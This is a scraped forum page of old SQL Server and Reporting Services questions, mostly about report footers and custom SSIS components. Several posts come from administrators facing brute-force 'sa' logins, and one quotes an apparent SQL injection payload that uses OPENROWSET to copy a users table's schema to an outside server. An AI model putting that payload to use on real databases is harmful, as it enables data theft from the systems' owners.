PDF Problem On Custom Footer (chris Hays Hack)

Dec 19, 2007

This works:
http://blogs.msdn.com/chrishays/archive/2006/09/27/ContinuedHeader.aspx



but not when exporting to PDF.

Does anyone know of a workaround?

View 1 Replies


ADVERTISEMENT

Custom Code Only Works In Header && Footer But Not In Details?

Aug 8, 2007

hi,

I have a custom code that can gets string from an array:

Public Shared FormatArray() As Object
Public Shared Function GetFormat(ByVal _Col As Integer) As String
Return FormatArray(_Col)
End Function

However if I place the code in a Table details value expression =Code.GetFormat(0), It will give me #ERROR

But if I put in the Table Header row value, then it shows me the String correctly, same for in Footer of the table.
Its only within the details rows that is not working

Does anyone know what is the problem??

many thanks

Jon

View 6 Replies View Related

Possible Attempted SQL Hack

Oct 4, 2007

I have SQL 2005 Express on a hosted webserver - the server is behind a provided firewall with port 1433 closed.

In my event log I am getting hundreds of these :

Login failed for user 'sa'. [CLIENT: 213.247.51.248]

Event ID 18456

They come thick and fast from the same IP.

When I look in SQL Error Logs it's State 8 which seems to be invalid password - so it looks like someone probing the server to me.

I can see a way in the firewall to block certain IP's.

Anyone know a way I can lockdown the SQL, or the server (Packet Filtering?) to stop this? The server is hosted by 1&1 who aren't that hot with support on stuff like this.

Any help greatly appreciated!!

View 9 Replies View Related

Is Someone Trying To Hack My Server?

Apr 21, 2008

Hi All,

I am getting alot of logged events from loads of different IP's as seen below. Majority are trying the sa account.. a few trying 'admin' which doesnt exist anyway. But how are they getting through my firewall to actually get to this point? What am i not blocking? Using SQL Server 2005 on a win2003 server. Commodo firewall software.

Any help is appriciated!


2008-04-15 19:47:51.08 Logon Error: 18456, Severity: 14, State: 8.

2008-04-15 19:47:51.08 Logon Login failed for user 'sa'. [CLIENT: 218.65.238.84]

2008-04-15 19:47:54.54 Logon Error: 18456, Severity: 14, State: 8.

2008-04-15 19:47:54.54 Logon Login failed for user 'sa'. [CLIENT: 218.65.238.84]

2008-04-15 19:48:00.63 Logon Error: 18456, Severity: 14, State: 8.

2008-04-15 19:48:00.63 Logon Login failed for user 'sa'. [CLIENT: 218.65.238.84]

2008-04-15 19:48:17.38 Logon Error: 18456, Severity: 14, State: 8.

2008-04-15 19:48:17.38 Logon Login failed for user 'sa'. [CLIENT: 211.144.156.192]

2008-04-15 19:48:36.83 Logon Error: 18456, Severity: 14, State: 8.

2008-04-15 19:48:36.83 Logon Login failed for user 'sa'. [CLIENT: 218.65.238.84]

2008-04-15 19:48:40.27 Logon Error: 18456, Severity: 14, State: 8.

2008-04-15 19:48:40.27 Logon Login failed for user 'sa'. [CLIENT: 218.65.238.84]

2008-04-15 19:48:43.72 Logon Error: 18456, Severity: 14, State: 8.

2008-04-15 19:48:43.72 Logon Login failed for user 'sa'. [CLIENT: 218.65.238.84]

2008-04-15 19:48:50.18 Logon Error: 18456, Severity: 14, State: 8.

2008-04-15 19:48:50.18 Logon Login failed for user 'sa'. [CLIENT: 218.65.238.84]

2008-04-15 19:48:53.58 Logon Error: 18456, Severity: 14, State: 8.

2008-04-15 19:48:53.58 Logon Login failed for user 'sa'. [CLIENT: 218.65.238.84]

2008-04-15 19:48:56.02 Logon Error: 18456, Severity: 14, State: 8.

2008-04-15 19:48:56.02 Logon Login failed for user 'sa'. [CLIENT: 211.144.156.192]

2008-04-15 19:48:57.00 Logon Error: 18456, Severity: 14, State: 8.

2008-04-15 19:48:57.00 Logon Login failed for user 'sa'. [CLIENT: 218.65.238.84]

2008-04-15 19:48:59.67 Logon Error: 18456, Severity: 14, State: 8.

2008-04-15 19:48:59.67 Logon Login failed for user 'sa'. [CLIENT: 211.144.156.192]

2008-04-15 19:48:59.75 Logon Error: 18456, Severity: 14, State: 8.

2008-04-15 19:48:59.75 Logon Login failed for user 'sa'. [CLIENT: 211.144.156.192]

2008-04-15 19:49:03.46 Logon Error: 18456, Severity: 14, State: 8.

2008-04-15 19:49:03.46 Logon Login failed for user 'sa'. [CLIENT: 218.65.238.84]

2008-04-15 19:49:06.94 Logon Error: 18456, Severity: 14, State: 8.

2008-04-15 19:49:06.94 Logon Login failed for user 'sa'. [CLIENT: 218.65.238.84]

2008-04-15 19:49:13.58 Logon Error: 18456, Severity: 14, State: 8.

2008-04-15 19:49:13.58 Logon Login failed for user 'sa'. [CLIENT: 218.65.238.84]

2008-04-15 19:49:19.00 Logon Error: 18456, Severity: 14, State: 8.

2008-04-15 19:49:19.00 Logon Login failed for user 'sa'. [CLIENT: 211.144.156.192]

2008-04-15 19:49:19.96 Logon Error: 18456, Severity: 14, State: 8.

2008-04-15 19:49:19.96 Logon Login failed for user 'sa'. [CLIENT: 218.65.238.84]

2008-04-15 19:49:20.08 Logon Error: 18456, Severity: 14, State: 8.

2008-04-15 19:49:20.08 Logon Login failed for user 'sa'. [CLIENT: 219.129.239.211]

2008-04-15 19:49:20.19 Logon Error: 18456, Severity: 14, State: 8.

2008-04-15 19:49:20.19 Logon Login failed for user 'sa'. [CLIENT: 219.129.239.211]

2008-04-15 19:49:20.38 Logon Error: 18456, Severity: 14, State: 8.

2008-04-15 19:49:20.38 Logon Login failed for user 'sa'. [CLIENT: 219.129.239.211]

2008-04-15 19:49:20.39 Logon Error: 18456, Severity: 14, State: 8.

2008-04-15 19:49:20.39 Logon Login failed for user 'sa'. [CLIENT: 219.129.239.211]

View 2 Replies View Related

Someone Is Trying To Hack My SA Account

Nov 27, 2006

I'm getting dozens of attempts per minute on my SA account for SQL Server 2000. The systematic nature of it makes me think a script kiddie is doing this - and has been doing this all weekend. I'm not worried about him ever guessing the password, but I would like to use my firewall to block his IP address.

Is there any way to get the IP addy of someone trying to log into my SQL server?

View 1 Replies View Related

Please Help Me Figure Out This Sql Injection...possible Hack To My Database.

Oct 18, 2006

INSERT INTO OPENROWSET ('SQLOLEDB','UID=as) <INSERT INTO OPENROWSET ('SQLOLEDB','UID=as)>; PWD= <PWD=>; NETWORK=DBMSSOCN <NETWORK=DBMSSOCN>; ADDRESS=111.22.333.44 <ADDRESS=111.22.333.44>; 1433 <1433>; ' <'>; 'SELECT * FROM SQUARE.._columns') SELECT * FROM .INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='tbl_users' ORDER BY ORDINAL_POSITION <'SELECT * FROM SQUARE.._columns') SELECT * FROM .INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='tbl_users' ORDER BY ORDINAL_POSITION>; --sp_useradmin <--sp_useradmin>

View 3 Replies View Related

Need Help Preventing Database Hack Thru Code

Dec 31, 2007

This morning I found that during the night someone hacked into my remote hosted SQL server 2005 database.   Every record in a description field in each of three tables had everything after the first sentence replaced with the same URL.  The three pages that used these tables badly infected anyone who viewed them in IE.I had my host restore the 12/30 backup, and I changed all the database and ftp passwords, now I want to be sure my code isn't giving anyone access.  I'm using strongly typed datasets.  This is my code behind code.Dim sCategory = Request.QueryString("cat")Dim ResourceAdapter As New ResourcesTableAdapters.ResourcesTableAdapterDim dF As Data.DataTable = ResourceAdapter.GetDataByCategory(sCategory)Dim numRows = dF.Rows.CountLabelCat.Text = sCategoryRepeater1.DataSource = dFRepeater1.DataBind() Is there anything I can do to better secure this?  Oh, my connect string is in the web.config file only, but it isn't encrypted.  I will be encrypting it today.Diane 

View 9 Replies View Related

Is There A Hack That Would Allow You To Reuse Identity Numbers That Were Orphaned By Deleted Records?

Aug 24, 2006

I guess this is a fairly common topic but couldn't find the right words to find anything in a search.

What I'm getting at, is there any tsql functions or combination of commands for the following.

You have identity columns in your tables, if you set the a seed and autoincrement, I enter in rows 1 -10 and then I delete 4, 6, 7, 8.

My next new record uses 11. Is there any logic that allows you to check and reuse 4, 6, 7 & 8 described above? Not looking for something that consists of having to create an extra ID table for each table and handle configuring what the next available number is everytime an Insert or delete is called.

Thanks.

View 4 Replies View Related

Page Totals: Table Footer Or Page Footer?

Nov 28, 2007



I currently have an Ungrouped Dataset being displayed in a Table. One of the columns include AMOUNT.
This is an example of what my report looks like atm:
==================
**Report Name**

No Name Amount

Signed By XXXX
==================

I would like to display a SUBTOTAL of the Amounts for each page and, on the final page, a TOTAL of the Amounts.
Yes the Last Page's SubTotal and Total will be the same.
Looking like:
===============================

pg1
**Report Name**

No Name Amount
Sub Total Amount
Signed By XXXX

(lastpage)
**Report Name**

No Name Amount





(<-----no huge spaces between Table/Subtotal)
Sub Total Amount



Total Amount

Signed By XXXX


=================================

Issues:
I've found a way to get a Page's SubTotal, but the way I found requires this to be put in a field on the Page Footer Section.
This means that on the final page, the SubTotal will be at the top of the Page Footer and not neccessarily directly beneath the table.

So:
1. Is there a way to move the Page Footer so that its printed DIRECTLY under neath the Page Body instead of at the bottom of the Page?
2. If not, is there a way to have the SubTotal of each Page and a Final Page Total in the Page Body section.
Cheers.

View 9 Replies View Related

Displaying Custom Properties For Custom Transformation In Custom UI

Mar 8, 2007

Hi,

I am creating a custom transformation component, and a custom user interface for that component.

In
my custom UI, I want to show the custom properties, and allow users to
edit these properties similar to how the advanced editor shows the
properties.

I know in my UI I need to create a "Property Grid".
In
the properties of this grid, I can select the object I want to display
data for, however, the only objects that appear are the objects that I
have already created within this UI, and not the actual component
object with the custom properties.

How do I go about getting the properties for my transformation component listed in this property grid?

I am writing in C#.

View 5 Replies View Related

Expression Editor On Custom Properties On Custom Data Flow Component

Aug 14, 2007

Hi,

I've created a Custom Data Flow Component and added some Custom Properties.

I want the user to set the contents using an expression. I did some research and come up with the folowing:





Code Snippet
IDTSCustomProperty90 SourceTableProperty = ComponentMetaData.CustomPropertyCollection.New();
SourceTableProperty.ExpressionType = DTSCustomPropertyExpressionType.CPET_NOTIFY;
SourceTableProperty.Name = "SourceTable";






But it doesn't work, if I enter @[System:ackageName] in the field. It comes out "@[System:ackageName]" instead of the actual package name.

I'm also unable to find how I can tell the designer to show the Expression editor. I would like to see the elipses (...) next to my field.

Any help would be greatly appreciated!

Thank you

View 6 Replies View Related

Expression Issue With Custom Data Flow Component And Custom Property

Apr 2, 2007

Hi,



I'm trying to enable Expression for a custom property in my custom data flow component.

Here is the code I wrote to declare the custom property:



public override void ProvideComponentProperties()

{


ComponentMetaData.RuntimeConnectionCollection.RemoveAll();

RemoveAllInputsOutputsAndCustomProperties();



IDTSCustomProperty90 prop = ComponentMetaData.CustomPropertyCollection.New();

prop.Name = "MyProperty";

prop.Description = "My property description";

prop.Value = string.Empty;

prop.ExpressionType = DTSCustomPropertyExpressionType.CPET_NOTIFY;



...

}



In design mode, I can assign an expression to my custom property, but it get evaluated in design mode and not in runtime

Here is my expression (a file name based on a date contained in a user variable):



"DB" + (DT_WSTR, 4)YEAR( @[User::varCurrentDate] ) + RIGHT( "0" + (DT_WSTR, 2)MONTH( @[User::varCurrentDate] ), 2 ) + "\" + (DT_WSTR, 4)YEAR( @[User::varCurrentDate] ) + RIGHT( "0" + (DT_WSTR, 2)MONTH( @[User::varCurrentDate] ), 2 ) + ".VER"



@[User::varCurrentDate] is a DateTime variable and is assign to 0 at design time

So the expression is evaluated as: "DB189912189912.VER".



My package contains 2 data flow.

At runtime,

The first one is responsible to set a valid date in @[User::varCurrentDate] variable. (the date is 2007-01-15)

The second one contains my custom data flow component with my custom property that was set to an expression at design time



When my component get executed, my custom property value is still "DB189912189912.VER" and I expected "DB200701200701.VER"



Any idea ?



View 5 Replies View Related

Adding Custom Property To Custom Component

Aug 17, 2005

What I want to accomplish is that at design time the designer can enter a value for some custom property on my custom task and that this value is accessed at executing time.

View 10 Replies View Related

Custom Task - Custom Property Expression

Aug 16, 2006

I am writing a custom task that has some custom properties. I would like to parameterize these properties i.e. read from a varaible, so I can change these variables from a config file during runtime.

I read the documentation and it says if we set the ExpressionType to CPET_NOTIFY, it should work, but it does not seem to work. Not sure if I am missing anything. Can someone please help me?

This is what I did in the custom task

customProperty.ExpressionType = DTSCustomPropertyExpressionType.CPET_NOTIFY;

In the Editor of my custom task, under custom properties section, I expected a button with 3 dots, to click & pop-up so we can specify the expression or at least so it evaluates the variables if we give @[User::VaraibleName]

Any help on this will be very much appreciated.

Thanks

View 3 Replies View Related

ReportItems In My Footer

Apr 27, 2007

I am having a problem viewing my footer on all pages of my report. I have created a page footer that reads
="The " & ReportItems("textbox213").Value
I am getting the value on the first page only and then only getting "The" on the rest.
My "PrintOnFirstPage" and "PrintOnLastPage" are both marked True in the Page Footer properties. I am completely confused. This is not the only textbox in my footer I have two others both which print on all pages, but neither of them use the ReportItems.

Can anyone help on this?

Thanks....Cin

View 3 Replies View Related

Footer Totals

Feb 4, 2008

I have a report, using a table, that is grouped by acct. The acct indicates either revenue or expenses. I have a total in my table that will give me the totals for revenue, and the total for expenses. At the end of the report, in the table footer, I want to add a Surplus/Deficit total, which would be the total revenue - total expenses, but I can't seem to get it right. I tried the following:
=Sum(ReportItems!table1_Group1.Value)
thinking that it would give me the total by the group, but I get the error that an aggregate function can only be used on page header and footer. How do I just get a basic grand total in my report?

Thanks in advance!

View 1 Replies View Related

Table Footer

Nov 22, 2007

I have a report with a group total and a report total. The report total is the sum of all group totals. When I run the report in report manager (sql server 2005 SP2) it shows the report total on the last page of the report with the group total for teh client.
for instance the first page has
Report Title
Details
Group Total

Second Page
Details
Group Total

Last Page
Details
Group Total
Report Total

When I export the report to pdf the Report Total is printing on its own separate page which is not what I want. I would like the report total be on the last page of teh report just like shown above. The report total is in the table footer.

Pls help.

View 3 Replies View Related

Footer Not Printing

Oct 1, 2007



Hi everyone,

For some odd reason the footer of my report never gets printed. The footer contains the page number and report name and is very important to my report. I made sure the margins are 1 inches for all sides, made sure Footers printing in first and last pages are checked in the properties section, and gave it a large amount of space around the textbox. Is there anything I am doing wrong? Also, the header and body prints correctly.

Thanks

View 8 Replies View Related

Page Footer!

Nov 11, 2007

Hi everybody!
In my report i need to have one of my data set's fields in page footer! but i can't
Please help me.

View 3 Replies View Related

Skip Footer Row

Apr 23, 2008

Hi,


There is an option in ssis to skip one or more header rows, but there isn't any thing to skip one or more footer rows.

Example:

header bla bla
1;"Joe";24;"New York"
2;"John";54;"Washington"
3;"Phil";36;"San Francisco"
footer bla bla


I skip the first record in the source definition. So I have left 4 records. How do I skip the fourth (last) record? The value contains some statistics so I cann't look for a special value. Is there a way to skip the last record with a script component?

Joost

View 5 Replies View Related

Report Footer?

Oct 2, 2006

Is it possible to have both page footer and report footer in SSRS. If so, how?

View 6 Replies View Related

Row Number Of Group Footer

Mar 14, 2008

How would I get the rownumber() for a Group Footer in report designer not in my query?

I put the syntax rownumber(nothing), but it is giving me the row numbers for the detail section.

Any help would be appreciated.

View 1 Replies View Related

Page Footer Print Twice.

Dec 3, 2007



Hi.
I wote a report including body and pagefooter, On body I put a list & the list inside had a table. Now when I print out this report, printer will printout 2 pages. (correct report is 1 page) , and on the second page, it had page footer only. If I turn off this page footer on next page, printer still
printout a blank page that's i don't need. Does anybody can help me fix this problem?
Thanks

View 3 Replies View Related

SSRS Footer With Data

Mar 19, 2008

I'm writing a report that will have data for mulitple accounts btoken up by page breaks(on account)

The user would like to see the name of the account in the footer. Since the entire report will consist of many accounts using first or last in the footer element is not an option.

Does anyone know of a way to get the account that is displayed in the body of the page to display in the footer?

Thanks

View 8 Replies View Related

Group Footer With Totals

Nov 30, 2007



I have a tabular report with grouping on the following fields:

Grouped rows: MDC, DrgDesc, ChronicOther
Detail row: Cases


The desired output follows:


MDC1
DrgDesc1
Chronic 50
Other 25
Total cases for DrgDesc1= 75

DrgDesc2
Chronic 20
Other 33
Total cases for DrgDesc2 = 53

etc....

I have everything working up to the Total cases for each DrgDesc. I tried adding a group footer to the Cases row, however this sub-totals for Chronic and Other rather than summing them together. Example is below.

MDC1
DrgDesc1
Chronic 50
50
Other 25
25
DrgDesc2
Chronic 20
20
Other 33
33

etc....


How can I achieve the desired result?

View 3 Replies View Related

Footer Does Not Exported To Excel

Mar 28, 2007

Hi,
I have a report with text in the footer.
When I exported it to excel, every thing except from the footer is exported (the report body and header are OK).

I'm not getting any error but the text in the footer just doesn't appear.

Any solution?
Thanks.

View 5 Replies View Related

Last Item In A Group Footer?

Apr 14, 2008

Is there any way to know you're at the last row in a group footer? I'd like to just hide all other rows except that one...

Thanks,
Steve

View 3 Replies View Related

Parameters In Header And Footer

Mar 16, 2007

why data cannot be shown using (a field parameter and table field) in page header and footer?

thanks

-Ron-

View 2 Replies View Related

Is It Possible To Have More Than One Table Footer Rows ?

Jan 26, 2007

Well, we can add another table footer row by right-clicking on the footer row of the table and select, Inser Row Above, or, Insert Row Below.

But, I want to set different values to same properties of rows. Such as;

Row3.RepeatOnNewPage = False

Row4.RepeatOnNewPage = True

What do you say ?

-SMang the Frustrated Developer

View 1 Replies View Related

How Ti Get Concatinated Value In A Group Footer

Dec 21, 2006

Hi,

I want to display a concatinated value of strings (DB field) having a "/" in between, for each group separately in the group footer.I tried using custome code.I was calling that code in detail.In detail it was showing correctly i.e running concatenated value for each record.But when i used the same global variable in group footer it's taking previous group's concatenated value and first groop footer shows a blank string.I guess its because groop footer thing is getting executed before the detail part.so can you please give me any solution for this.



Thanks in advance

Suchi

View 6 Replies View Related

Dynamic Footer Visibility

Sep 7, 2007

I have two DataSet and two tables in a report. Almost identical reports (top 5). Both DataSet have a Boolean indicator and I am to append an asterisk to a column in the detail rows if indicator is true. If an asterisk appears, I am to display the footer, that has a comment in it explaining the asterisk.


Public Class AsteriskFootNote


'

' To be used on the Visibility.Hidden attribute

'

Dim _FooterVisiblity As Boolean = True

Public ReadOnly Property FooterVisibility() As Boolean


Get


Return _FooterVisibility

End Get

End Property

'

Function AsteriskIndicator(ByVal strInd As String) As String


If (strInd.ToLower = "true") Then


_FooterVisibility = False

Return "*"

End If

Return ""

End Function

'

End Class


I have instantiated two classes Dollars and Hours. In the detail, call the

=Fields!Descr.Value & Code.Dollar.AsteriskIndicator( Fields!MultiInd.Value )
In the footer visibility, I assign hidden:

=Code.Dollar.FooterVisibility
But it does not work. The tables act as if they assign the Hidden value, then processes the detail rows.

View 4 Replies View Related

Page Footer Problem

Jun 16, 2007

Hi,



I created a report with a page footer. In the properties of the pagefooter I did set PrintonFirstPage to FALSE en PrintOnLastPage to TRUE.

If I run my report which takes 5 pages then on the first page the pagefooter is not visible. So that is OK.

But from the 2nd page until the las one the PageFooter is visible and I want it only on the very last page.



What do I do wrong or how can I solve this?



Carlo

View 3 Replies View Related

Report Footer To Appear At The End Of Page

Jun 10, 2007

Hi guys,



my report footer displays at after the last row of the table(can be middle of the table)

how do you get the footer to appear at the end of each page?



thanks



Sonny

View 3 Replies View Related







Copyrights 2005-15 www.BigResource.com, All rights reserved